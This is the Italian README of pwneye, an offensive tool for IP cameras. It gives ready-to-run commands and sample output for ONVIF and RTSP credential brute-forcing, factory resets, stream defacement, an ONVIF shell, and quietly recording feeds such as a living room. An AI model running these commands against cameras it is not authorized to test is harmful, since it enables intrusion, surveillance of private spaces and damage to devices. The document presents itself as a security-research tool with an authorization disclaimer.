logo pwneye

pwneye è uno strumento di sicurezza offensiva focalizzato e portabile per lavorare con telecamere IP che espongono servizi ONVIF e RTSP, con l'obiettivo di offrire a ricercatori di sicurezza e hacker un modo semplice per gestire discovery, test di autenticazione, raccolta di metadati, validazione dello stream, registrazione e azioni successive da un unico flusso di lavoro CLI.

Alcune delle funzionalità attualmente supportate includono:

Discovery ONVIF sulla rete locale tramite WS-Discovery
Autenticazione ONVIF e bruteforce multithread con credenziali singole o file di username/password
Enumerazione post-autenticazione ONVIF di informazioni sul dispositivo, utenti configurati, configurazione di rete, profili media e URI degli stream RTSP
Riavvio della telecamera, reset di fabbrica e accesso a shell interattiva tramite ONVIF
Movimento PTZ ONVIF sia dalla CLI che dal visualizzatore dedicato
Supporto per deface e ripristino dello stream tramite ONVIF
Rilevamento della porta RTSP e identificazione del vendor basata su banner
Bruteforce RTSP consapevole del vendor con oltre 450 profili integrati di credenziali / stringhe di connessione, oltre al supporto per vendor manuali e stringhe di connessione manuali
Bruteforce RTSP multithread con output di avanzamento in tempo reale
Gestione multi-canale RTSP con rilevamento automatico, enumerazione guidata e selezione interattiva del canale
Client di anteprima live dedicato con zoom e cambio rapido di canale per target di tipo DVR/NVR
Validazione dello stream RTSP, anteprima live tramite ffplay, registrazione tramite ffmpeg e acquisizione di snapshot
Cache per-target dei risultati ONVIF e RTSP riusciti in ~/.pwneye

Demo

https://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c

Installazione e Aggiornamenti

pipx

Installa pwneye come comando CLI a livello di sistema da GitHub:```bash pipx install git+https://github.com/Hackerest/pwneye.git pwneye --help

Disinstallalo:```bash
pipx uninstall pwneye

Aggiornalo in seguito dalla stessa fonte GitHub:```bash pipx upgrade pwneye

### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help

Aggiornalo in seguito dalla stessa fonte GitHub:```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt

### Dipendenze esterne

I seguenti strumenti sono previsti in `PATH` a seconda della modalità utilizzata:
- `ffplay`
- `ffprobe`
- `ffmpeg` per la registrazione

| Piattaforma | Comando di installazione |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |

## Per Iniziare

Usa questi come i punti di ingresso più rapidi nello strumento. L'obiettivo qui non è documentare ogni flag, ma mostrare i modi più utili per iniziare a lavorare con una telecamera a seconda di ciò che già conosci.

Parti dal flusso di lavoro completo predefinito quando hai un singolo target e vuoi che `pwneye` faccia per te il lavoro di selezione del protocollo:```bash
pwneye -t 192.168.1.135

Inizia dalla scoperta ONVIF quando ti trovi sulla stessa rete locale e vuoi identificare dispositivi, vendor e indizi sui flussi prima di toccare RTSP:```bash pwneye --discover

Inizia direttamente da RTSP quando ONVIF è irrilevante, non disponibile, o sai già cosa vuoi testare:```bash
pwneye -t 192.168.1.135 --skip-onvif

Parti da credenziali note o sospette quando vuoi ridurre il rumore e validare rapidamente l'accesso:```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123

Parti da un percorso noto o da un modello di percorso quando hai già un indizio sul flusso e vuoi un controllo stretto sulle richieste RTSP:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'

Inizia la raccolta di prove una volta trovato un flusso funzionante:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record

Flag utili da tenere a mente:
- `--vendor VENDOR`: riduce le richieste RTSP quando la famiglia di dispositivi è già nota
- `-cn, --connection-string PATH`: prova un percorso RTSP noto o un file contenente percorsi candidati
- `--multi-channel`: preferisci percorsi RTSP basati su canale quando sospetti un target di tipo DVR/NVR
- `--threads N`: controlla la concorrenza per il bruteforce ONVIF e RTSP
- `--skip-onvif` / `--skip-rtsp`: concentrati su un solo protocollo
- `--no-cache`: non leggere né scrivere nella cache
- `--fresh`: ignora le letture dalla cache ma scrivi comunque nuovi risultati

## ONVIF

ONVIF è il lato di gestione e controllo del mondo delle telecamere. In pratica, è utile per la scoperta, l'autenticazione, l'estrazione di metadati, l'enumerazione dei profili media, il recupero degli URI degli stream e azioni sul dispositivo come il riavvio.

In `pwneye`, ONVIF è solitamente il protocollo che fornisce il contesto post-autenticazione più ricco, il percorso più pulito per capire cosa espone una telecamera e, quando l'account autenticato ha privilegi sufficienti, l'accesso a vere azioni amministrative sul dispositivo.

### Cosa Ti Offre ONVIF

Quando una telecamera espone ONVIF, `pwneye` può usarlo per:

- scoprire telecamere sulla rete locale tramite WS-Discovery
- testare l'autenticazione ONVIF usando credenziali fisse o file
- estrarre metadati del produttore e del dispositivo
- recuperare gli URI degli stream RTSP esposti dal dispositivo
- enumerare un contesto post-autenticazione utile prima di toccare RTSP in modo più aggressivo
- richiedere un riavvio autenticato con `--reboot`
- richiedere un reset di fabbrica autenticato con `--reset`
- muovere una telecamera con capacità PTZ dalla CLI o dal viewer dedicato
- aprire una shell interattiva autenticata con `--shell`
- alterare lo stream tramite ONVIF con `--deface`
- ripristinare l'ultimo profilo di defacement salvato con `--undeface`

### Enumerazione della Rete Locale

Usa WS-Discovery per identificare dispositivi con capacità ONVIF sulla rete locale:```
pwneye --discover

[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)

   Host: 192.168.1.135
   Port: 80
   Protocol: http
   Types: Device
   XAddrs: http://192.168.1.135:80/onvif/device_service
   Manufacturer: Tenda
   Name: CP3Pro
   Hardware: CP3Pro
   MAC: XX:XX:XX:XX:XX:XX
   Country: China
   Profiles: Streaming
   Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder

[success] ONVIF discovery stopped by user after identifying 1 device(s)

Il ciclo di discovery continua a sondare ogni pochi secondi, stampa solo i dispositivi appena scoperti e può essere interrotto con CTRL-C.

Puoi anche forzare la discovery attraverso una specifica interfaccia di rete:```bash pwneye --discover en0 pwneye --discover eth0

Quando non viene specificata un'interfaccia, `pwneye` sceglie automaticamente l'interfaccia di uscita predefinita e ti comunica quale sottorete di destinazione sta utilizzando per WS-Discovery.

### Forzatura Bruta delle Credenziali

Esegui una forzatura bruta solo ONVIF con un nome utente fisso e un file di password:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5

[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y): 
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345

Opzioni utili:

--skip-onvif: salta il rilevamento e l'enumerazione ONVIF
-oP, --onvif-port PORT: testa una porta ONVIF specifica
-ou, --onvif-username USER: nome utente ONVIF o file con un nome utente per riga
-op, --onvif-password PASS: password ONVIF o file con una password per riga

Se -ou e -op non vengono specificati, pwneye ripiega automaticamente sui suoi nomi utente e password ONVIF comuni integrati.

pwneye memorizza nella cache le credenziali ONVIF riuscite per ogni target in ~/.pwneye/cache e le riutilizza nelle esecuzioni future, a meno che non si usi --fresh o --no-cache.

Riavvio di una telecamera

Se l'autenticazione ONVIF riesce, puoi richiedere direttamente un riavvio:``` pwneye -t 192.168.1.135 --reboot

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:

Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1

[warning] Requesting ONVIF system reboot... [info] ONVIF reboot request sent [info] Checking if the camera is still reachable... [success] The device has been rebooted!

Quando viene usato `--reboot`, il probing RTSP viene saltato.

### Reset di una telecamera

Se l'autenticazione ONVIF ha successo, puoi anche richiedere direttamente un reset di fabbrica:```text
pwneye -t 192.168.1.135 --reset

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[>] Do you really want to factory-reset the camera via ONVIF? [(y)es/(n)o] (default: n):
[warning] Requesting ONVIF factory reset...
[info] ONVIF factory reset request sent
[info] Checking if the camera is still reachable...
[warning] The ONVIF factory reset request was sent, but the target still appears to be reachable. Please verify manually that the reset was completed.

Avvertenza: questa operazione può essere irreversibile e può cancellare la configurazione corrente del dispositivo, le credenziali e le impostazioni di rete. Usa --reset solo quando comprendi appieno l'impatto e sei esplicitamente autorizzato a eseguirla.

Come per --reboot, quando si usa --reset, il probing RTSP viene saltato.

Spostamento della Telecamera

Se il target espone controlli PTZ tramite ONVIF, pwneye può spostare la telecamera sia dal terminale che dal visualizzatore live dedicato.

Dalla CLI, usa --move con direction,duration. Il flag può essere ripetuto, e gli spostamenti richiesti vengono eseguiti in sequenza mentre il probing RTSP viene saltato:```bash pwneye -t 192.168.1.135 --move right,2 pwneye -t 192.168.1.135 --move right,2 --move up,1 --move down,3 pwneye -t 192.168.1.135 --move r,2 --move u,1 --move d,3

Le direzioni accettate sono:

- `left` o `l`
- `right` o `r`
- `up` o `u`
- `down` o `d`

Esempio:```text
pwneye -t 192.168.1.135 --move r,2 --move u,1

...
[info] Trying cached ONVIF credentials for the target...
...
[success] ONVIF connection established using the following configuration:
...

[info] Requesting ONVIF PTZ move to right for 2.00 second(s)...
[info] The ONVIF move command was accepted
[info] Requesting ONVIF PTZ move to up for 1.00 second(s)...
[info] The ONVIF move command was accepted
[success] The camera has been moved!

All'interno del visualizzatore dedicato, se il PTZ è supportato, la vista focalizzata consente anche di muovere la telecamera in modo interattivo con W, A, S e D. Questo è utile quando hai già uno stream funzionante e vuoi un feedback visivo diretto mentre regoli il dispositivo.

Deturpare uno Stream

Se l'autenticazione ONVIF riesce, pwneye può anche provare a deturpare lo stream direttamente:```bash pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

Ecco cosa fa `--deface`, in breve:

- prima verifica se il target supporta l'oscuramento del flusso tramite ONVIF Imaging
- verifica anche se il target espone livelli di testo ONVIF riutilizzabili
- se entrambi sono disponibili, `pwneye` esegue un deface completo
- se è disponibile solo uno dei due, `pwneye` avvisa l'utente e offre un deface parziale
- prima di modificare qualsiasi cosa, `pwneye` salva un profilo di ripristino per il target in `~/.pwneye/cache`

L'implementazione è volutamente conservativa e favorevole ai vendor:

- per il passaggio di oscuramento, `pwneye` abbassa i controlli di imaging supportati come luminosità, contrasto e saturazione invece di affidarsi a trucchi specifici del vendor
- per il passaggio del testo, `pwneye` riutilizza i livelli di testo ONVIF scrivibili esistenti invece di creare o eliminare nuove voci OSD
- questo rende la funzionalità più compatibile tra diverse famiglie di telecamere, anche se il risultato visivo finale dipende comunque dal firmware

Esempio:```text
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Inspecting ONVIF deface capabilities...
[info] The target supports ONVIF deface
[>] Do you want to proceed with the deface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to deface the target stream with THIS CAMERA IS EXPOSED
[info] A backup profile is being created for future restorations...
[success] Backup profile saved successfully to /Users/user/.pwneye/cache/192.168.1.135.yaml
[info] Trying to darken the stream...
[success] The stream was darkened successfully
[info] Trying to replace the current on-stream text with THIS CAMERA IS EXPOSED
[info] Verifying the text update...
[success] The target stream has been defaced!
[info] To restore the previous configuration, run the tool again with --undeface

Segnaposto deface

Ripristino di uno stream

Se una precedente esecuzione di --deface ha salvato un profilo di ripristino per il target, pwneye può usarlo per ripristinare lo stato ONVIF originale:```bash pwneye -t 192.168.1.135 --undeface

Ecco cosa fa `--undeface`, in breve:

- cerca un profilo di ripristino deface precedentemente salvato nella voce cache del target
- se non esiste alcun profilo, si ferma immediatamente con un errore
- se esiste un profilo, tenta di ripristinare le impostazioni Imaging originali e i livelli di testo scrivibili originali
- come con `--deface`, il risultato finale può essere completo o parziale a seconda di ciò che il target consente tramite ONVIF

Il profilo di ripristino non viene eliminato dopo un `--undeface` riuscito. Rimane in cache finché un futuro `--deface` non lo sovrascrive con un profilo più recente.

Esempio:```text
pwneye -t 192.168.1.135 --undeface

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Looking for a saved deface profile for this target...
[info] A saved deface profile was found at /Users/user/.pwneye/cache/192.168.1.135.yaml
[>] Do you want to proceed with the undeface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to restore the target stream...
[info] Trying to restore the original stream brightness profile...
[success] The original stream brightness profile was restored successfully
[info] Trying to restore the original on-stream text...
[success] The original on-stream text was restored successfully
[success] The target stream has been restored!

Ottenere una shell

Se l'autenticazione ONVIF riesce, pwneye può anche farti accedere direttamente a una shell ONVIF interattiva. Questo è utile quando vuoi ispezionare i servizi, chiamare metodi manualmente, esplorare le funzionalità o testare operazioni specifiche del target senza uscire dal flusso di lavoro corrente.

Esempio:```text pwneye -t 192.168.1.135 --shell

Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1

[info] Opening the interactive ONVIF shell...

This feature is powered by https://github.com/nirsimetri/onvif-python (leave it a ⭐!) Use TAB for completion and help for commands.

[email protected]:80 > ls analytics events media2 pullpoint ruleengine capabilities help store cls debug pwd type deviceio imaging notification recording search caps exit rm clear ls shortcuts devicemgmt media ptz replay subscription services quit show info cd desc

## RTSP

RTSP è il lato streaming del mondo delle telecamere. È il protocollo che di solito fornisce il percorso video live, ma è anche il più frammentato: i vendor utilizzano percorsi diversi, convenzioni sui canali, peculiarità di autenticazione e formati di banner differenti.

In `pwneye`, la gestione RTSP è costruita attorno alla scoperta delle porte, al banner grabbing, alla selezione dei percorsi basata sul vendor, all'orchestrazione del bruteforce, alla validazione dello stream, all'anteprima e alla registrazione.

### Cosa Ti Offre RTSP

RTSP è la parte del flusso di lavoro che conferma se puoi realmente accedere a uno stream. In `pwneye`, ciò significa:

- rilevare RTSP su porte comuni o specificate dall'utente
- eseguire il banner grabbing e tentare di identificare automaticamente il vendor
- eseguire il bruteforce delle credenziali su percorsi basati sul vendor o forniti dall'utente
- validare gli stream funzionanti prima di aprirli
- registrare gli stream o catturare snapshot come prova
- enumerare più canali quando il target si comporta come un DVR o NVR

### Identificazione del Vendor

`pwneye` tenterà di identificare automaticamente il vendor RTSP tramite il banner grabbing prima di ripiegare su un'enumerazione più ampia dei percorsi.

Se l'identificazione automatica basata sul banner fallisce e conosci già il vendor da analisi precedenti, puoi passarlo direttamente per ridurre significativamente il numero di richieste:```bash
pwneye -t 192.168.1.135 --vendor tenda

Puoi anche recuperare solo il banner RTSP ed uscire:``` pwneye -t 192.168.1.135 --skip-onvif --banner

... [info] RTSP service detected on port(s): 554 [success] RTSP banner on port 554: Hipcam RealServer/V1.0

Opzioni utili:
- `--skip-rtsp`: salta il rilevamento e il bruteforce RTSP
- `-P, --rtsp-port PORT`: testa una porta RTSP specifica
- `--vendor VENDOR`: forza un vendor dal database RTSP
- `--list-vendors`: elenca i vendor supportati dalla knowledge base RTSP ed esce
- `--protocol tcp|udp`: sceglie il trasporto RTSP, il default è `tcp`
- `--timeout SECONDS`: timeout RTSP, il default è `10`

### Bruteforce RTSP

Bruteforce RTSP con credenziali fisse:```bash
pwneye -t 192.168.1.135 --username admin --password admin

Ruota solo i nomi utente con una password fissa:```bash pwneye -t 192.168.1.135 --password 'SuperSecretPass' --vendor hikvision --threads 10

Prova una singola stringa di connessione RTSP fornita dall'utente:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/11"
pwneye -t 192.168.1.135 --skip-onvif -cn "/cam/realmonitor?channel=1&subtype=0"

Carica le stringhe di connessione candidate dal file:```bash pwneye -t 192.168.1.135 --skip-onvif -cn paths.txt

Combina un percorso manuale con credenziali fisse:```bash
pwneye -t 192.168.1.135 --skip-onvif -u admin -p admin -cn "/live/ch00_0"

Preferisci percorsi multi-canale quando il target è probabilmente un DVR/NVR:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel

Opzioni utili:
- `-u, --username USER`: nome utente RTSP o file con un nome utente per riga
- `-p, --password PASS`: password RTSP o file con una password per riga
- `-cn, --connection-string PATH`: stringa di connessione RTSP o file con una stringa di connessione per riga
- `--multi-channel`: preferisci le stringhe di connessione RTSP multi-canale quando disponibili
- `--threads N`: numero di thread concorrenti usati dal motore di bruteforce

Se `-u` e `-p` non sono specificati, `pwneye` ripiega automaticamente sui suoi nomi utente e password RTSP comuni integrati.

`pwneye` memorizza nella cache le credenziali RTSP riuscite e i metadati dello stream validati per ogni target in `~/.pwneye/cache`.

Comportamento della cache:
- predefinito: riutilizza i risultati validi in cache prima di eseguire un nuovo bruteforce
- `--fresh`: ignora i risultati in cache ma aggiorna comunque la cache con i nuovi risultati
- `--no-cache`: disabilita sia la lettura che la scrittura della cache

### Stream Multi-Canale

Alcune telecamere, DVR e NVR espongono più canali RTSP logici invece di un singolo percorso statico. Esempi tipici includono modelli come:```text
rtsp://IP:554/?chID=1&streamType=main&linkType=tcp
rtsp://IP:554/cam/realmonitor?channel=1&subtype=0

pwneye può rilevarlo automaticamente durante la scansione RTSP, anche grazie alla conoscenza RTSP basata sul vendor, ma puoi anche guidare il processo in modo esplicito:

--multi-channel indica a pwneye di preferire i percorsi RTSP basati sui canali dalla knowledge base
--connection-string ti consente di fornire il tuo template di canale, inclusi segnaposto come {channel}
la stessa logica dei template funziona anche quando le stringhe di connessione provengono da file
una volta trovati più canali, pwneye può aprire sia un singolo feed sia un visualizzatore multi-canale dedicato in un'unica finestra

Esempi:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0' pwneye -t 192.168.1.135 --skip-onvif -cn channel_paths.txt

Esempio di output:```text
[info] Enumerating RTSP channels using the validated connection template...
[info] Press CTRL-C to stop channel enumeration and choose from the channels found
[success] RTSP channel 2 is valid
[success] RTSP channel 3 is valid
[warning] RTSP channel enumeration interrupted by user. Using the channels discovered so far

   [0] Open all discovered channels in a dedicated client
   [1] Channel 1: rtsp://192.168.1.135:554/cam/realmonitor?channel=1&subtype=0
   [2] Channel 2: rtsp://192.168.1.135:554/cam/realmonitor?channel=2&subtype=0
   [3] Channel 3: rtsp://192.168.1.135:554/cam/realmonitor?channel=3&subtype=0

[>] Select channel (CTRL-C to exit):

Se scegli Open all discovered channels, pwneye avvia un client multi-canale dedicato che mantiene tutti i flussi scoperti all'interno di un'unica finestra. Ogni feed viene mostrato nel mosaico come anteprima live e facendo clic su una miniatura si promuove quel canale a una vista focalizzata più grande, con una semplice azione Back per tornare alla griglia.

demo del client multi-canale dedicato di pwneye

Per impostazione predefinita, l'anteprima RTSP live utilizza il client dedicato pwneye. Se preferisci invece il classico flusso di lavoro con il player di sistema, puoi aggiungere --legacy per aprire il flusso validato con ffplay.

Quando il client dedicato è aperto, puoi anche attivare Snapshot e Record direttamente dalla vista focalizzata senza uscire dalla GUI. Questo è utile quando vuoi prima ispezionare un feed e solo dopo decidere se salvare un'immagine fissa o iniziare a registrare le prove.

Streaming, registrazione e snapshot

Apri un flusso validato con anteprima live:```bash pwneye -t 192.168.1.135 --vendor tenda

Registra un flusso RTSP validato con anteprima:```bash
pwneye -t 192.168.1.135 --record
pwneye -t 192.168.1.135 --record living-room.mp4

Cattura uno snapshot invece di una registrazione completa:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --snapshot living-room.jpg

Registra senza aprire la finestra di anteprima:```
pwneye -t 192.168.1.135 --record living-room.mp4 --no-video

...
[info] Recording RTSP stream to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4
[info] Press CTRL-C to stop the recording
[warning] Retrying MP4 finalization in compatibility mode (transcoding)...
[success] Recording saved to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4 (5.75 MB)

Comportamento di registrazione:

--record [OUTPUT.mp4]: registra lo stream RTSP validato; se omesso, viene creato un file con timestamp in ~/.pwneye/recordings
--snapshot [OUTPUT.jpg]: salva un fotogramma dallo stream RTSP validato; se omesso, viene creato un file con timestamp in ~/.pwneye/snapshots
--no-video: salta l'anteprima live e la decodifica
il visualizzatore dedicato espone anche le azioni Snapshot e Record direttamente nella vista attiva
le registrazioni predefinite sono salvate in ~/.pwneye/recordings/<target>/
gli snapshot predefiniti sono salvati in ~/.pwneye/snapshots/<target>/

Suggerimenti e Trucchi

Se pwneye fosse un videogioco, questi sarebbero probabilmente i suggerimenti che vedresti sulla schermata di caricamento:

Una buona interfaccia web non significa una telecamera sicura: Una telecamera con un'interfaccia web ben protetta non è necessariamente ben protetta nel complesso. È comune trovare un solido blocco dell'accesso web mentre RTSP rimane non autenticato o accetta tentativi praticamente illimitati.
Usa la discovery quando puoi: Se --discover funziona sulla rete locale, usalo prima. Le informazioni sul vendor, i metadati del dispositivo e i risultati memorizzati nella cache possono rendere il successivo lavoro su RTSP molto più silenzioso e affidabile.
ONVIF prima può essere la mossa più intelligente: ONVIF e RTSP spesso condividono le stesse credenziali. Se ONVIF è esposto, di solito è più intelligente fare bruteforce su quel lato prima con --skip-rtsp invece di martellare direttamente RTSP e rendere lo stream instabile. Quando pwneye trova credenziali ONVIF valide, proverà a riutilizzarle automaticamente su RTSP.
I vendor noti riducono il rumore: Se conosci già il vendor, passa --vendor esplicitamente. Riduce le richieste e può aiutare a mantenere stabili i target fragili.
I percorsi noti battono l'indovinare alla cieca: Se conosci già o sospetti il percorso, usa --connection-string invece di un'ampia enumerazione RTSP. Ti dà un controllo più stretto sul set di richieste e rende più facili da interpretare i fallimenti.
Un registratore può esporre più di un feed: Se un target sembra un DVR/NVR, prova --multi-channel o un template di canale manuale prima di assumere che esponga solo un singolo stream.
Il riavvio può essere un passo di recupero: Se hai credenziali RTSP valide ma non riesci comunque ad aprire il video, lo stream potrebbe semplicemente essere instabile dopo ripetuti sondaggi. Se hai anche accesso ONVIF, un passo di recupero brusco ma spesso efficace è .

Ringraziamenti

Un ringraziamento speciale a @kaburagisec per onvif-python, la libreria ONVIF utilizzata da pwneye. Ha reso il lato ONVIF di questo progetto enormemente più semplice e affidabile.

Grazie a Darix Deros per l'aiuto durante i test e per aver condiviso diversi suggerimenti utili che hanno migliorato parti dello strumento, incluso il flusso di lavoro di discovery ONVIF.

Sicurezza

Usa pwneye solo contro asset che possiedi o per cui sei esplicitamente autorizzato a valutare.

Questo strumento può enumerare servizi, testare l'autenticazione, aprire stream, registrare video, interagire con funzionalità amministrative ONVIF e, con privilegi sufficienti, riavviare, resettare, deturpare o alterare in altro modo il comportamento di un dispositivo target.

Anche quando il tuo obiettivo è solo la raccolta di prove, ripetuti sondaggi RTSP possono rendere instabili le telecamere fragili, e le azioni ONVIF possono avere un impatto operativo immediato.

Licenza

Questo progetto è distribuito sotto la GNU GPL3 License. Vedi LICENSE.md.

Più Popolari

pwneye